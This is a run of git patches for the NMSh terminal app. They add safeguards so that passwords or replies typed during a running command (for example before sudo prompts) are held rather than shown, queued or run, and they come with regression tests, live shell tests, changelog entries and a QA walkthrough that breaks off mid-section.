Mon, 19 Oct 2026 14:42:09 +0530 Subject: [PATCH 079/157] Input ownership: release gate fixes; held typing, pre-prompt drafts and queued replies The release gate review of v0.22.0 (#444) found three more ways for a possible password, or a reply, to run without the person's intent: 1. Tab on held typing replayed every held key. A Ctrl+Q typed while the typing was held then queued the revealed text, and an idle queue ran it at once (held at the prompt, or while a command ran). Tab now replays only text and the keys that edit it. 2. A password typed in the composer before the program printed its prompt (sudo) stayed the draft: hidden while the question was open, shown again when the command ended, one Enter from running as a shell command. Typed with its Enter, that Enter also went to sudo as an empty answer and the draft was drawn during the retry. When the command asks for hidden input, such a draft now leaves the composer, an Enter held with it is dropped, and the draft is held at the prompt when the command ends (Tab shows it, Esc discards it). Type-ahead typed right after Ctrl+C stays the next command. 3. A visible reply queued before NMSh could see a line read (a loaded machine) ran as a command after the read's command succeeded. The approval rule for entries queued while a command ran now applies to any question NMSh sees, not only hidden ones. Regressions in tests/inputOwnershipSecrets.test.ts (5; all fail before this change). Input ownership and related suites: 158/158. --- src/app/TerminalApp.ts | 95 ++++++++++++++++++++---- tests/inputOwnershipSecrets.test.ts | 107 ++++++++++++++++++++++++++++ 2 files changed, 188 insertions(+), 14 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 601be6b1..7b81fcbc 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -437,6 +437,13 @@ const OWNERSHIP_LOOK_SLOW_MS = 800; const HIDDEN_ANSWER_TYPE_AHEAD_MS = 1000; /** How held keys end: on the evidence (route), dropped, sent to the program as typed, or shown in the composer. */ type HoldSettle = 'route' | 'discard' | 'send' | 'reveal'; +/** + * The keys Tab replays when it shows held typing: text and the keys that edit it, never one that acts. A Ctrl+Q (queue), + * Ctrl+S, history, palette or failure key typed while the typing was held must not queue, send or run it (#426 gate). + */ +const REVEALABLE_KEYS = new Set<Key['kind']>(['text', 'paste', 'enter', 'newline', 'backspace', 'delete', 'deleteWord', 'deleteLineBefore', + 'deleteLineAfter', 'left', 'right', 'wordLeft', 'wordRight', 'lineHome', 'lineEnd', 'bufferHome', 'bufferEnd', 'selectLeft', 'selectRight', + 'selectWordLeft', 'selectWordRight', 'selectLineHome', 'selectLineEnd', 'selectBufferHome', 'selectBufferEnd', 'selectAll']); /** Keys held while NMSh looks at whether the running command reads input (#426). */ interface OwnershipHold { keys: Key[]; @@ -892,8 +899,13 @@ export class TerminalApp { * type-ahead, and a look that still sees that question is not new evidence; a newer question ends this at once. */ private hiddenAnswer?: {startId: number; at: number}; - /** The running command's hidden question whose queued entries were last checked (a question is reported repeatedly). */ + /** The running command's question whose queued entries were last checked (a question is reported repeatedly). */ private hiddenQueueCheck?: {startId: number; since: number}; + /** + * A composer draft typed during the running command before it asked for hidden input: it may be the password, typed + * before the prompt appeared. It is kept off the composer while the question is open and held at the prompt after. + */ + private stashedDraft?: {startId: number; text: string; program: string}; private replayingHeld = false; /** * The queue review a first empty Enter armed at idle (resume a paused queue, or approve the entry that asks first). @@ -4434,6 +4446,12 @@ export class TerminalApp { } // Keys still held for this command's look are settled now that it is over (#426). this.ownershipLook?.settle('route'); + // A draft typed before this command asked for hidden input may be the password: held, never back in the composer. + if (this.stashedDraft?.startId === command.startId) { + const stashed = this.stashedDraft; + this.stashedDraft = undefined; + this.holdAtPrompt(stashed.text, stashed.program); + } // A command may have changed what workspace facts say (npm version, terraform workspace select, aws configure). this.contextEngine.invalidate('command'); void this.refreshContext(cwd); @@ -11941,23 +11959,25 @@ export class TerminalApp { this.runningDraft = undefined; this.session.write(typed); } else if (request && draft && !draft.typeAhead && draft.at >= request.since && this.editor.text) draft.answering = true; - if (request?.mode === 'hidden') this.holdQueuedReplies(request); + if (request?.mode === 'hidden') this.stashDraftTypedBefore(request); + if (request) this.holdQueuedReplies(request); // The evidence a held key waited for has arrived. if (request) this.ownershipLook?.settle('route'); this.render(); } /** - * A hidden question with no prompt can come after its reply was already typed and entered: with no question to - * answer yet, that Enter queued it as a command (#426, documented limit). When the command asks for hidden input, the - * entries queued while it ran may be that reply: they wait for the person's approval instead of running after it, so - * a password never runs as a shell command by itself. Entries queued before the command started are left as they + * A question can come after its reply was already typed and entered: with no question to answer yet (or one NMSh + * could not yet see, on a loaded machine), that Enter queued it as a command (#426, documented limit). When the + * command asks for input, the entries queued while it ran may be that reply: they wait for the person's approval + * instead of running after it, so a reply, or a password, never runs as a shell command by itself. Entries queued before the command started are left as they * are, and so are those queued while this question is already shown (Ctrl+Q): each question is checked once, when it * is first reported. Its `since` is no boundary: it can be when the shell went idle (a `sleep` before the `read`). */ private holdQueuedReplies(request: InputRequest): void { const running = this.running; if (!running || !this.queueAvailable()) return; + const hidden = request.mode === 'hidden'; if (this.hiddenQueueCheck?.startId === running.startId && this.hiddenQueueCheck.since === request.since) return; this.hiddenQueueCheck = {startId: running.startId, since: request.since}; const typed = this.queueState.entries.filter(entry => entry.addedAt >= running.startedAt && entry.condition !== 'approve'); @@ -11966,14 +11986,66 @@ export class TerminalApp { if (this.queueConditionsAvailable()) { for (const entry of typed) this.session.queue({op: 'condition', id: entry.id, condition: 'approve'}); const count = typed.length === 1 ? 'the command queued while it ran waits' : `the ${typed.length} commands queued while it ran wait`; - this.output.addFrontendInteraction(program, `${program} asked for hidden input; ${count} for your approval (/queue), in case one was its reply.`, INFO); + this.output.addFrontendInteraction(program, `${program} asked for ${hidden ? 'hidden ' : ''}input; ${count} for your approval (/queue), in case one was its reply.`, INFO); } else { // An older session service without per-entry approval: the whole queue waits instead. this.session.queue({op: 'pause'}); - this.output.addFrontendInteraction(program, `${program} asked for hidden input; the queue is paused (/queue), in case a command queued while it ran was its reply.`, INFO); + this.output.addFrontendInteraction(program, `${program} asked for ${hidden ? 'hidden ' : ''}input; the queue is paused (/queue), in case a command queued while it ran was its reply.`, INFO); } } + /** + * When the running command asks for hidden input, a draft typed in the composer during it, before the question, + * may be the password typed before the prompt appeared (a terminal's program would usually flush it). It leaves the + * composer, so it is neither shown nor sent as the answer, and is held at the prompt when the command ends; an Enter + * held with it was for that draft, never an empty answer for the question. + */ + private stashDraftTypedBefore(request: InputRequest): void { + const running = this.running; + const draft = this.runningDraft; + // Type-ahead typed right after Ctrl+C or Ctrl+Z is the person's next command for the prompt (#436), not a reply. + if (!running || !draft || draft.typeAhead || draft.startId !== running.startId || draft.at >= request.since) return; + if (this.queueCompose || this.queueEdit || !this.editor.text) return; + const text = this.editor.text; + this.editor.clear(); + this.runningDraft = undefined; + const program = running.command.trim().split(/\s+/u)[0] || 'the command'; + this.stashedDraft = this.stashedDraft?.startId === running.startId + ? {...this.stashedDraft, text: `${this.stashedDraft.text}\n${text}`} : {startId: running.startId, text, program}; + const hold = this.ownershipLook; + if (hold && !hold.atPrompt && hold.keys.every(key => key.kind === 'enter' || key.kind === 'newline')) hold.settle('discard'); + } + + /** Show held typing in the composer: its text and edits only (REVEALABLE_KEYS), and never its final Enter. */ + private revealHeld(keys: readonly Key[]): void { + const shown = keys.filter(key => REVEALABLE_KEYS.has(key.kind)); + let end = shown.length; + while (end > 0 && shown[end - 1]!.kind === 'enter') end -= 1; + this.replayingHeld = true; + try { for (const item of shown.slice(0, end)) this.handleKey(item.kind === 'enter' ? {kind: 'newline'} as Key : item); } finally { this.replayingHeld = false; } + this.render(); + } + + /** Hold text at the prompt, hidden, until the person shows it (Tab) or discards it (Esc, Ctrl+C); nothing else settles it. */ + private holdAtPrompt(text: string, program: string): void { + const keys: Key[] = text.split('\n').flatMap((line, index) => index ? [{kind: 'newline'} as Key, {kind: 'text', value: line} as Key] : [{kind: 'text', value: line} as Key]); + const existing = this.ownershipLook; + if (existing?.atPrompt) { existing.keys.unshift(...keys); this.render(); return; } + if (existing) existing.settle('route'); + let settled = false; + const hold: OwnershipHold = {keys, startId: -1, answering: false, slow: false, uncertain: true, ended: true, sawHidden: false, + sawAnsweredHidden: false, atPrompt: true, program, settle: how => { + if (settled || (how !== 'reveal' && how !== 'discard')) return; + settled = true; + if (this.ownershipLook === hold) this.ownershipLook = undefined; + if (how === 'reveal') { this.revealHeld(hold.keys); return; } + this.output.addFrontendInteraction(program, 'Your held typing was discarded, not sent or run.', INFO); + this.render(); + }}; + this.ownershipLook = hold; + this.render(); + } + /** * Whether this key decides where typing goes while a command runs and NMSh has no evidence yet that the command * waits for input: the first key of a draft, or an Enter that would otherwise queue. @@ -12042,12 +12114,7 @@ export class TerminalApp { return; } if (how === 'reveal') { - // Shown for review, never routed: a final Enter is not replayed, earlier ones become new lines. - let end = keys.length; - while (end > 0 && keys[end - 1]!.kind === 'enter') end -= 1; - this.replayingHeld = true; - try { for (const item of keys.slice(0, end)) this.handleKey(item.kind === 'enter' ? {kind: 'newline'} as Key : item); } finally { this.replayingHeld = false; } - this.render(); + this.revealHeld(keys); return; } // The command ended while NMSh looked. A reply to its open question is discarded, never run; so is typing held diff --git a/tests/inputOwnershipSecrets.test.ts b/tests/inputOwnershipSecrets.test.ts index 6c5338fe..092db791 100644 --- a/tests/inputOwnershipSecrets.test.ts +++ b/tests/inputOwnershipSecrets.test.ts @@ -319,3 +319,110 @@ test('a look slower than the slow mark after a hidden answer, then the command e assert.match(f.transcript(), /discarded, not run/u); } finally { f.dispose(); } }); + +// ------------------------------------------------------------------ release gate review (v0.22.0, #444) + +test('gate: held typing is released only as typed text; a Ctrl+Q typed while held is not replayed by Tab, so nothing is queued or run', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + await secondReplyHeldAtPrompt(f, SECRET); + // Ctrl+Q at an idle prompt would queue the composer's text, and an idle queue runs it at once. + f.key('\u0011'); + f.key(TAB); + await settled(); + assert.equal(f.text(), SECRET, 'Tab shows the held text in the composer: the person chose to see it'); + assert.deepEqual(f.adds(), [], 'not queued'); + f.neverRun(SECRET, 'after Ctrl+Q and Tab'); + } finally { f.dispose(); } +}); + +test('gate: while a command runs, a Ctrl+Q typed while typing is held is not replayed by Tab either', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -rs pw'); + f.type(SECRET); + f.answer('unknown'); await settled(); + f.answer('unknown'); await settled(); + assert.match(f.screen(), /Can.t tell whether read is reading your typing/u); + f.key('\u0011'); + f.key(TAB); + await settled(); + assert.deepEqual(f.adds(), [], 'not queued'); + f.complete(0); await settled(); + f.neverRun(SECRET, 'after the command'); + } finally { f.dispose(); } +}); + +/** A password typed (and, with `enter`, entered) before sudo prints its prompt; the person then answers the prompt. */ +async function typedBeforeThePrompt(f: ReturnType<typeof fixture>, enter: boolean) { + f.begin('sudo -k true'); + f.tick(50); + f.type(SECRET); + f.answer('visible'); await settled(); + if (enter) f.enter(); + // sudo prints its prompt and turns echo off; NMSh sees the hidden question. + f.tick(300); + f.app['onShellData']('Password:'); + if (enter) { f.answer('hidden'); await settled(); } + f.hidden(); await settled(); + assert.equal(f.screen().includes(SECRET), false, 'not shown while the program asks'); + f.type('pw'); + f.enter(); + f.complete(0); await settled(); +} + +test('gate: a password typed before the program asks is never left as a draft one Enter from running: held at the prompt', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + await typedBeforeThePrompt(f, false); + assert.equal(f.text(), '', 'not back in the composer'); + assert.equal(f.screen().includes(SECRET), false, 'not shown again when the command ends'); + assert.match(f.screen(), HELD, 'held for the person'); + f.enter(); + await settled(); + f.neverRun(SECRET, 'after an Enter at the prompt'); + f.app['handleKey']({kind: 'escape'}); + f.nowhere(SECRET, 'after Esc'); + } finally { f.dispose(); } +}); + +test('gate: a password and Enter typed before the program asks: not run, not left in the composer', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + await typedBeforeThePrompt(f, true); + assert.equal(f.text(), '', 'not back in the composer'); + assert.equal(f.screen().includes(SECRET), false, 'not shown again'); + f.enter(); + await settled(); + f.neverRun(SECRET, 'after an Enter at the prompt'); + assert.deepEqual(f.adds(), []); + } finally { f.dispose(); } +}); + +test('gate: a visible reply queued before NMSh saw the read waits for approval once the question is seen; never run after it', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin(`read -r QA_REPLY; printf 'ANSWER=%s\\n' "$QA_REPLY"`); + // A loaded machine: the look cannot yet tell that the shell's builtin reads, so the Enter queues the reply. + f.type('hello'); + f.answer('visible'); await settled(); + f.enter(); + f.answer('visible'); await settled(); + assert.deepEqual(f.adds(), ['hello'], 'queued (documented limit under load)'); + f.tick(1500); + f.state({since: Date.now() - 1400, confidence: 'likely', mode: 'line'}); + await settled(); + assert.equal(f.owner.state.entries.find(item => item.text === 'hello')?.condition, 'approve', 'it waits for approval'); + assert.match(f.transcript(), /asked for input/u); + // The person answers again; the command succeeds; the reply is never run as a command. + f.type('hello'); + f.enter(); + f.complete(0); await settled(); + assert.deepEqual(f.dispatched, [], 'never run after the command'); + } finally { f.dispose(); } +}); From 271e67bbf4623bf90411afcb58f34b9858a8ac17 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 14:45:36 +0530 Subject: [PATCH 080/157] Input ownership live test: a password typed before the program's prompt is held at the prompt, never run Real zsh and Bash, as sudo behaves (a moment's work, then a prompt and a read with echo off). On ab5390a4 one Enter at the prompt ran the password as a shell command (NMSh's journal); with the gate fix it is held at the prompt, never drawn again, and not in the shell's history. --- tests/inputOwnershipSecretsLive.test.ts | 37 +++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/tests/inputOwnershipSecretsLive.test.ts b/tests/inputOwnershipSecretsLive.test.ts index ef933182..da7fc929 100644 --- a/tests/inputOwnershipSecretsLive.test.ts +++ b/tests/inputOwnershipSecretsLive.test.ts @@ -63,4 +63,41 @@ for (const shell of ['zsh', 'bash'] as const) { assert.match(strip(frontend.output.slice(typed)), /waits for your approval/u); } finally { await sandbox.dispose(); } }); + + test(`live ${shell}: a password typed before the program prints its prompt is never left one Enter from running`, {skip: available ? false : `${shell} not available`, timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: shell}, shell === 'bash' && bash ? {PATH: `${bash.replace(/\/bash$/u, '')}:${process.env.PATH}`} : {}); + const [rc, histfile, content] = HISTORY[shell]; + writeFileSync(join(sandbox.home, rc), content); + const frontend = sandbox.launch([], {cols: 120, rows: 36}); + try { + await frontend.waitFor(/zsh|bash/u); + await until(async () => (await sandbox.sessions()).some(session => session.lastExit !== undefined), 30_000, 'the first prompt'); + await frontend.run('echo READY', /READY/u); + const mark = frontend.mark; + // As sudo does: a moment's work, then a prompt and a read with echo off. + const command = `sh -c 'sleep 1; printf "QA-%s: " Password; stty -echo; IFS= read -r pw; stty echo; printf "\\nLEN=%s\\n" "\${#pw}"'`; + frontend.pty.write(`${command}\r`); + await pause(300); + // Typed before the prompt exists (no Enter): NMSh can only draw it, as a terminal would echo it. + for (const char of SECRET) { frontend.pty.write(char); await pause(15); } + await frontend.waitFor(/QA-Password: /u, mark, 20_000); + await frontend.waitFor(/[Ww]aiting for input/u, mark, 20_000); + // From here on the earlier typing must never be drawn again, and it must end up held, not in the composer. + const asked = frontend.mark; + for (const char of 'answer') { frontend.pty.write(char); await pause(15); } + frontend.pty.write('\r'); + await frontend.waitFor(/LEN=6/u, mark, 20_000); + const records = async () => (await sandbox.transcripts().list()).flatMap(session => session.transcript.records); + await until(async () => (await records()).some(record => record.command === command), 15_000, 'the command to complete'); + await frontend.waitFor(/held, not run · Tab shows it · Esc discards it/u, asked, 10_000); + // An Enter at the prompt does not run what was typed before the question. + frontend.pty.write('\r'); + await pause(2500); + assert.equal((await records()).some(record => record.command?.includes(SECRET)), false, 'never run: not in NMSh\'s journal'); + assert.equal(strip(frontend.output.slice(asked)).includes(SECRET), false, 'never drawn again once the program asked'); + const history = readFileSync(join(sandbox.home, histfile), 'utf8'); + assert.match(history, /echo READY/u, 'the shell records history here'); + assert.equal(history.includes(SECRET), false, 'not in the shell\'s history'); + } finally { await sandbox.dispose(); } + }); } From e461d63b2c683467bfd77311cb25ff45dd489bcf Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 14:50:23 +0530 Subject: [PATCH 081/157] Fish integration: write a marker again once when the write fails (#443) Fish 3 does not retry a terminal write that a signal interrupts. NMSh resizes the shell's terminal when its own rows change, so a marker written while that write waits can be lost (#443's strace: the marker's write returned ERESTARTSYS on SIGWINCH and Fish printed "write: Interrupted system call"). A lost marker leaves NMSh wrong about whether a command runs; a lost command-start marker would make it treat a running program's prompt as the idle shell, and draw what is typed for it in the composer. Markers now go through __nmsh_mark: printf with its error silenced, then once more if it failed. Output from the person's own commands is unchanged and can still be lost this way (documented, #443). --- src/shell/adapters/FishAdapter.ts | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/src/shell/adapters/FishAdapter.ts b/src/shell/adapters/FishAdapter.ts index d4ef5f6f..1682cc38 100644 --- a/src/shell/adapters/FishAdapter.ts +++ b/src/shell/adapters/FishAdapter.ts @@ -31,10 +31,16 @@ const FISH_BUILTINS = new Set(['and', 'begin', 'bg', 'bind', 'block', 'break', ' function bootstrap({token, knowledgePath, bridgeEnvPath}: LaunchContext, originalTerm: string | undefined): string { const sync = bridgeEnvPath ? '\n nmsh_bridge_sync' : ''; - const marker = (body: string) => `printf '\\e]777;nmsh;${token};${body}\\a'`; + const marker = (body: string) => `__nmsh_mark '\\e]777;nmsh;${token};${body}\\a'`; return `# NMSh managed fish session bootstrap (private, per session) ${originalTerm ? `set -gx TERM ${fishQuote(originalTerm)}` : ''} set -g fish_greeting +# One of NMSh's markers, written again once if the write fails. Fish 3 does not retry a terminal write that a signal +# interrupts (a window-size change while the write waits), and a lost marker leaves NMSh wrong about whether a command +# runs (#443). An interrupted write normally writes nothing (as in #443's trace), so the marker arrives once. +function __nmsh_mark + printf $argv 2>/dev/null; or printf $argv +end # Fish >= 4 only; NMSh shows its own suggestions. set -g fish_autosuggestion_enabled 0 function fish_prompt From 68c1cbb7dea9d4709f6632f016561348f8e7142d Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 14:57:36 +0530 Subject: [PATCH 082/157] Release v0.22.0 candidate: security gate review, limitation wording, one streamlined QA walkthrough - CHANGELOG: the #426 security entry includes the gate fixes (Tab replays text only; a password typed before the prompt is held, never sent or run; queued entries wait for approval on any question). The input limitations are listed case by case (a reply to a read NMSh has not seen, input entered before any question, hidden input, history, prompt hooks), and #443 states the lost write, its consequences, the affected environment and #445's marker retry. - docs/testing/v022-physical-qa.md: one walkthrough in four sittings (Ghostty zsh in full; Terminal.app Fish, Terminal.app zsh and Bash, and Zed for what depends on the terminal or shell), each pass with commands, expectations, PASS/FAIL, reset and evidence; a build check before testing and a memory check before the local model. - scripts/qa/v022-fixtures.sh: input/delayed-prompt.sh (as sudo does). - Ledger: the gate review and its findings. --- CHANGELOG.md | 12 +- docs/development/v022-ledger.md | 23 ++ docs/testing/v022-physical-qa.md | 655 +++++++++++++------------------ scripts/qa/v022-fixtures.sh | 8 + 4 files changed, 321 insertions(+), 377 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f8b3e166..9275626b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -47,7 +47,7 @@ This is a release candidate: it is published only after its physical-terminal QA ### Security -- **Passwords and other replies are never shown, queued or run as a command on a guess.** Typing while a command runs can no longer be shown, queued or run as a command before NMSh knows whether that command reads it ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). On a heavily loaded machine a reply typed right after starting a prompt-less read (`read -r reply`, `read -s`) used to be queued, and a password could be queued as a shell command or shown in the composer. Keys now wait for NMSh's check (`Checking whether … · your typing is kept` after 0.8 s). When the check cannot tell, the typing stays held and hidden — `Can't tell whether <program> is reading your typing` — until you choose: Ctrl+S sends it to the program, Tab shows it in the composer, Esc discards it. Input with echo turned off is never drawn, whatever else NMSh knows. Ctrl+C discards held typing, as a terminal flushes its input. When a command ends while typing is held for its check, including before its prompt returns while the shell's prompt hooks run, typing that may have been a reply or a password is discarded with a note, never run; plain type-ahead that the check cleared at once stays for the next command. After NMSh answers a hidden question, typing that a check still finds next to hidden input may be the reply to a second question with no prompt: if the command ends first, it waits at the prompt, hidden (`held, not run · Tab shows it · Esc discards it`), and only your Tab and Enter run it. A reply typed and entered before a question with no prompt existed is queued like any command (NMSh could not know); once the command asks for hidden input, the commands queued while it ran wait for your approval instead of running after it. Type-ahead on an idle machine is unchanged. +- **Passwords and other replies are never shown, queued or run as a command on a guess.** Typing while a command runs can no longer be shown, queued or run as a command before NMSh knows whether that command reads it ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). On a heavily loaded machine a reply typed right after starting a prompt-less read (`read -r reply`, `read -s`) used to be queued, and a password could be queued as a shell command or shown in the composer. Keys now wait for NMSh's check (`Checking whether … · your typing is kept` after 0.8 s). When the check cannot tell, the typing stays held and hidden — `Can't tell whether <program> is reading your typing` — until you choose: Ctrl+S sends it to the program, Tab shows it in the composer, Esc discards it. Input with echo turned off is never drawn, whatever else NMSh knows. Ctrl+C discards held typing, as a terminal flushes its input. When a command ends while typing is held for its check, including before its prompt returns while the shell's prompt hooks run, typing that may have been a reply or a password is discarded with a note, never run; plain type-ahead that the check cleared at once stays for the next command. After NMSh answers a hidden question, typing that a check still finds next to hidden input may be the reply to a second question with no prompt: if the command ends first, it waits at the prompt, hidden (`held, not run · Tab shows it · Esc discards it`), and only your Tab and Enter run it. A reply typed and entered before a question with no prompt existed is queued like any command (NMSh could not know); once the command asks for input that NMSh sees, hidden or not, the commands queued while it ran wait for your approval instead of running after it. Tab shows held typing as text only: a Ctrl+Q or any other key typed while it was held never queues, sends or runs it. A password typed in the composer before the program printed its prompt (as with `sudo`) leaves the composer when the program asks for hidden input, is never sent as the answer, and is held at the prompt when the command ends; an Enter typed with it is dropped rather than sent as an empty answer. Type-ahead on an idle machine is unchanged. ### Compatibility - Node.js 22 or newer; zsh, Bash 4.4+ and Fish, as in v0.20.0. CI covers Node 22 and 26 on Ubuntu, Node 26 on macOS, and a Linux portability subset on Fedora. @@ -67,10 +67,16 @@ This is a release candidate: it is published only after its physical-terminal QA - Progress redraws: absolute cursor rows (`CSI H`/`f`/`d`) are not mapped and scroll regions are not emulated ([#388](https://github.com/raiseCatError/notMyShell/issues/388)). - `/modules explain` covers the Context Rail and Status Strip; the Main Prompt has no per-segment truncation trace ([#365](https://github.com/raiseCatError/notMyShell/issues/365)). - Oxocarbon, GitHub Primer, Material/Palenight and Monokai are deferred, with reasons in `docs/design/theme-families.md` ([#401](https://github.com/raiseCatError/notMyShell/issues/401)). -- Input while a command runs ([#426](https://github.com/raiseCatError/notMyShell/issues/426), [#436](https://github.com/raiseCatError/notMyShell/issues/436)): a reply typed before a question with no prompt exists is shown in the composer and queued, as any typing while a command runs is; it no longer runs by itself once the command asks for hidden input, but if such a question gives up before NMSh sees it (a timed read) and the command then succeeds, the queued entry runs. zsh's single `precmd` function and Fish's other `fish_postexec` handlers run before NMSh's done marker, so a slow hook there can still be read as the command waiting. A session service from v0.20 routes typing as before. +- **Input while a command runs** ([#426](https://github.com/raiseCatError/notMyShell/issues/426), [#436](https://github.com/raiseCatError/notMyShell/issues/436)). What NMSh can and cannot tell: + - *A reply to a `read` NMSh has not seen yet* (no prompt, echo on, on a heavily loaded machine) can be taken for the next command: the line is shown and queued, never sent to the program. When NMSh sees the question, that entry waits for your approval; it runs on its own only in the unseen case below. + - *Input entered before the program asks anything* is queued like any command and shown, as a terminal would echo it. If the command later asks a question NMSh sees, those entries wait for approval. NMSh looks at a running command 0.15–2.5 s after it starts, then every 3 s (every 10 s after a minute): a read that gives up between two looks goes unseen, and if the command then succeeds, those entries run as commands. + - *Hidden input* (echo off) is never shown, queued or run on a guess. Typing NMSh cannot place is held until NMSh sees the program's question (then it goes to the program, as its answer) or you choose (while the command runs: Ctrl+S sends it, Tab shows it, Esc discards it; at the prompt: Tab or Esc); a command that ends while typing was held past 0.8 s discards it. + - *History:* typed input reaches your shell's history and NMSh's journal only when it runs as a command (a composer line you submit, or a queue entry that runs); the transcript also shows what a program echoes back (a visible reply), never hidden input. Held typing and entries waiting for approval stay in memory and are never written to disk. + - *Prompt hooks:* zsh's single `precmd` function and Fish's other `fish_postexec` handlers run before NMSh's done marker, so a slow hook there can still be read as the command waiting. A session service from v0.20 routes typing as before. - Keys typed *during* a Fish `read` stay subject to Fish's own editor queries ([#356](https://github.com/raiseCatError/notMyShell/issues/356)). - Ask's command suggestions use your local model only; remote providers are not part of this release ([#432](https://github.com/raiseCatError/notMyShell/issues/432)). -- Linux stays beta: automated CI on Ubuntu and Fedora, no physical pass. With Fish 3.7 on Linux, CI has occasionally seen a command's output or one of NMSh's shell markers not arrive; the cause is being investigated ([#443](https://github.com/raiseCatError/notMyShell/issues/443); not seen with Fish 4 on macOS). Everything listed under v0.20.0's known limitations still applies. +- Linux stays beta: automated CI on Ubuntu and Fedora, no physical pass. Everything listed under v0.20.0's known limitations still applies. +- **Linux (beta) with Fish 3** ([#443](https://github.com/raiseCatError/notMyShell/issues/443), open; shown with Fish 3.7.0 on Ubuntu 24.04). Fish 3 does not retry a terminal write that a window-size change interrupts, and NMSh changes the shell's terminal size whenever its own rows change (a command starting, the queue, notices). When the two coincide, that write is lost: part of a command's output is missing, with `write: Interrupted system call` in its place. NMSh writes its own markers again once when a write fails ([#445](https://github.com/raiseCatError/notMyShell/pull/445)); a marker that is still lost can leave NMSh waiting for a prompt, or treating a running program as the idle shell, in which case what you type for that program is drawn in the composer. Seen in about 1 of 10–15 CI loops of the Fish live tests under load; not seen with Fish 4 on macOS, or with zsh and Bash. Also in v0.20.0. ## [0.20.0] - 2026-10-18 diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index 5119d9ca..fca36433 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -155,6 +155,29 @@ tree differs from the green candidate `567cf533` only by the commits below plus routes typing as before. Holding happens only when a look actually saw hidden input; on an idle machine at human typing speed the prompted cases do not reach it. +**Release gate review of `ab5390a4` (2026-10-19, after CI was green):** the candidate was **not releasable**. Probes on +the exact candidate (deterministic fixture, then live zsh and Bash) found four more routes, all fixed in #437 +(`6ebf3832`, live test `271e67bb`) with regressions that fail first: +1. Tab on held typing replayed every held key: a Ctrl+Q typed while held queued the revealed text, and an idle queue ran + it at once (at the prompt, and while a command ran). Tab now replays only text and editing keys. +2. A password typed in the composer before the program printed its prompt (`sudo`) stayed the draft: hidden while asked, + shown again after, one Enter from running. Live on `ab5390a4`: it ran and entered NMSh's journal. It now leaves the + composer when the hidden question appears and is held at the prompt when the command ends; type-ahead typed right + after Ctrl+C stays the next command (#436). +3. The same with its Enter: the Enter went to `sudo` as an empty answer and the password was drawn during the retry. An + Enter held with such a draft is now dropped. +4. A visible reply queued before NMSh saw a line `read` (CI's first-attempt failure) ran after the command succeeded. + The approval rule for entries queued while a command ran now covers every question NMSh sees. +- Checked and clean: typed input is never logged (the session backlog keeps output, executed command lines and prompts + only; `NMSH_DEBUG_KEYS` skips running and held input); queue entries that never run leave no text (skipped entries are + counted, summaries hold executed commands); composer drafts and session submissions stay in memory; held typing has no + timer or later look that releases it. +- #443's consequence was re-assessed: a lost Fish 3 marker can make NMSh treat a running program as the idle shell, so + what is typed for it would be drawn in the composer (by analysis; not observed). Markers are now written again once + when a write fails (#445). Output loss remains documented. +- Remaining limits, worded in the changelog by case: a reply to a `read` NMSh has not seen yet, input entered before any + question, hidden input, history, prompt hooks. + **Physical QA:** one consolidated walkthrough for the v0.22 build ([v0.22 physical QA](../testing/v022-physical-qa.md)), replacing v0.21's (never run) and the per-PR passes. diff --git a/docs/testing/v022-physical-qa.md b/docs/testing/v022-physical-qa.md index b0717588..db90baed 100644 --- a/docs/testing/v022-physical-qa.md +++ b/docs/testing/v022-physical-qa.md @@ -1,381 +1,288 @@ # v0.22 physical QA -## Status - -- **Candidate, not released.** The single release candidate is v0.22.0 on `release/v0.22.0`: the unpublished v0.21.0 - candidate (#429, never run through physical QA, never published) plus the v0.22 work. This walkthrough replaces - [v0.21 physical QA](v021-physical-qa.md): test this build once. Nothing below has been run yet. -- **What does not count:** headless PTY fixtures, synthetic keys, captures of a window driven that way, and green CI. - Each item needs a person at a real terminal with a real keyboard and pointer. -- **Build under test:** the release candidate commit, built from a clean checkout (`npm ci && npm run build`); record - `node dist/index.js --version` (version and build commit) in every row. -- **Isolation:** `scripts/qa/v022-fixtures.sh` makes a throwaway folder with its own NMSh configuration - (`XDG_CONFIG_HOME`) and session service (`NMSH_RUNTIME_DIR`), so the QA build neither reads your settings nor - attaches to your running sessions. `HOME` is unchanged: your shell's own startup files run as usual, copy items - replace your clipboard, and `/llm` finds models already in `~/.local/share/nmsh/models`. +One walkthrough for the v0.22.0 release candidate (#444). It replaces [v0.21 physical QA](v021-physical-qa.md) +(never run; v0.21.0 is not published) and the per-PR v0.22 passes. Nothing below has been run yet. + +- **What counts:** a person at a real terminal, with a real keyboard and pointer. Headless tests, synthetic keys and green + CI do not count, and no row is marked from them. +- **Isolation:** the QA launcher gives NMSh its own configuration and session service, so it never reads your settings + or attaches to your sessions. Your shell's own startup files run as usual. Copy steps replace your clipboard. + Nothing here changes your shell settings, editor preferences, themes or agent sessions. +- **Not physical here:** what the automated suites already exercise on macOS and Linux (refusal messages, file-format + preservation on save, `/track` command classification, viewer numbering) is not repeated by hand; Linux (`apt` + progress, Fish 3, Fedora), `cargo`, `nix-shell` and in-container checks stay *Not run* (CI covers them). + +## 